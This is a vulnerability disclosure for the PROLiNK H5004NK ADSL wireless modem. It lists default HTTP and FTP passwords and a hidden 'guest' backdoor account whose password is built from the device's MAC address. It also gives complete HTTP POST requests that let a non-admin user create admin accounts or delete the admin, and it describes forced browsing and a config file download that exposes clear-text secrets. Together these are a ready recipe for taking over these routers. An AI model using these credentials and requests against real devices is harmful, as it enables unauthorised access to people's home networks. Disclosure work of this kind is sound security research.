PROLiNK H5004NK ADSL Wireless Modem Multiple Vulnerabilities

# Exploit Title: [PROLiNK H5004NK ADSL Wireless Modem Multiple
Vulnerabilities]
# Discovered by: Karn Ganeshen
# Reported on: [October 13, 2015]
# Vendor Response: [No process to handle vuln reports]
# Vendor Homepage: [
http://www.prolink2u.com/newtemp/datacom/adsl-modem-router/381-h5004nk.html]
# Version Affected: [Firmware version R76S Slt 4WNE1 6.1R]


**Vulnerability Details**

*1. Default, weak passwords for http and ftp services *

a. *HTTP accounts*
- admin/password
- user/user
- guest/XXXXairocon

<chain N="USERNAME_PASSWORD">
<V N="FLAG" V="0x0"/>
<V N="USERNAME" V="admin"/>
<V N="PASSWORD" V="password"/>
<V N="BACKDOOR" V="0x0"/>
<V N="PRIORITY" V="0x2"/>
</chain>

<chain N="USERNAME_PASSWORD">
<V N="FLAG" V="0x0"/>
<V N="USERNAME" V="user"/>
<V N="PASSWORD" V="user"/>
<V N="BACKDOOR" V="0x0"/>
<V N="PRIORITY" V="0x0"/> </chain>

<chain N="USERNAME_PASSWORD">
<V N="FLAG" V="0x0"/>
<V N="USERNAME" V="guest"/>
<V N="PASSWORD" V="XXXXairocon"/>
<V N="BACKDOOR" V="0x1"/>
<V N="PRIORITY" V="0x1"/> </chain>

*XXXX -> last four digits of MAC address *

b. *FTP accounts*

- admin/admin
- useradmin/useradmin
- user/user

<chain N="FTP_SERVER">
<V N="ENABLE" V="0x1"/>
<V N="USERNAME" V="admin"/>
<V N="PASSWORD" V="admin"/>
<V N="PORT" V="0x15"/>
<V N="USERRIGHT" V="0x3"/>
<V N="INSTNUM" V="0x1"/> </chain>

<chain N="FTP_SERVER">
<V N="ENABLE" V="0x1"/>
<V N="USERNAME" V="useradmin"/>
<V N="PASSWORD" V="useradmin"/>
<V N="PORT" V="0x15"/>
<V N="USERRIGHT" V="0x2"/>
<V N="INSTNUM" V="0x2"/> </chain>

<chain N="FTP_SERVER">
<V N="ENABLE" V="0x1"/>
<V N="USERNAME" V="user"/>
<V N="PASSWORD" V="user"/>
<V N="PORT" V="0x15"/>
<V N="USERRIGHT" V="0x1"/>
<V N="INSTNUM" V="0x3"/> </chain>


2. *Backdoor accounts*
The device comes configured with privileged, backdoor account.

For HTTP, 'guest' with attribute <V N="BACKDOOR" V="0x1"/>, is the backdoor
account. This is seen in the config file:

<chain N="USERNAME_PASSWORD">
<V N="FLAG" V="0x0"/>
<V N="USERNAME" V="guest"/>
<V N="PASSWORD" V="XXXXairocon"/>
<V N="BACKDOOR" V="0x1"/>
<V N="PRIORITY" V="0x1"/>
</chain>

This user is not shown / visible in the user list when logged in as admin
(privileged user).


3. *No CSRF protection*
There is no CSRF token set in any of the forms / pages.

It is possible to silently execute HTTP requests if the user is logged in.


4. *Weak RBAC controls *

5a) *A non-admin user (user) can create and delete any other users,
including root-privileged accounts. *

There are three users:

admin:password -> priv 2 is super user account with full functional access
(admin/root)
user:user -> priv 0 -> can access only some functions (user)
guest:XXXXairocon -> privileged backdoor login


*Normally: *

- user can create new account with restricted user privs only.
- user can change its password and only other non-admin users.
- user can delete any other non-admin users.

However, the application does not enforce strict rbac and it is possible
for a non-admin user to create a new account with admin privileges.


This is done as follows:

1. Start creating a new user, and intercepting the user creation POST
request
2. Intercept & Change privilege parameter value from 0 (user) to 2 (admin)
- Submit request
3. When the new admin user is created successfully, it does not show up in
user list
4. Confirm via logging in as new admin, and / or configured accounts in
configuration file (config.img)


This is the POST request to create a new user:

*Create user http request*:

POST /form2userconfig.cgi HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101
Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://<IP>/userconfig.htm?v=
Cookie: SessionID=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 115
username=test&privilege=2&newpass=test&confpass=test&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=


*Note1*: In some cases, this password change function is not accessible to
'user' via GUI. But we can still send a POST request to create a valid, new
higher privileged account.

*Note2*: In some cases, application does not create admin priv user, in the
first attempt. However, in the 2nd or 3rd attempt, new user is created
without any issue.


*Delete user http request:*
A non-admin user can delete any configured user(s) including privileged
users (admin).

POST /form2userconfig.cgi HTTP/1.1
Host: <ip>
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101
Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://<IP>/userconfig.htm
Cookie: SessionID=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
username=test&privilege=2&oldpass=&newpass=&confpass=&deluser=Delete&select=s3&hiddenpass=test&submit.htm%


In case (non-admin) user is deleting the admin login (priv 2), action
status can be confirmed by checking the configuration.
In case (non-admin) user is deleting another user login (priv 0), action
status can be confirmed by checking the user list.


5b) *(non-admin priv) User can access unauthorized functions.*
Normally, 'user' does not have access to all the functionality of the
device. It has access to Status, Setup and Maintenance.

However, few functions can still be accessed by calling them directly. For
example, to access the mac filtering configuration this url can be opened
directly:

http://<IP>/fw-macfilter.htm

Other functions may also be accessible in this manner.


6. *Sensitive information not secured from low privileged users *

A non-admin privileged user has access to download the configuration file
- config.img.

This file contains clear-text passwords, keys and other sensitive
information which can be used to gain privileged access.


7. *Sensitive information accessible in clear-text*

Sensitive Information like passwords and keys are not secured properly.
Mostly these are either shown in clear-text or cen censored *****, it is
possible to view clear-text values by 'Inspect Element' locally or
intercepting http requests, or sniffing.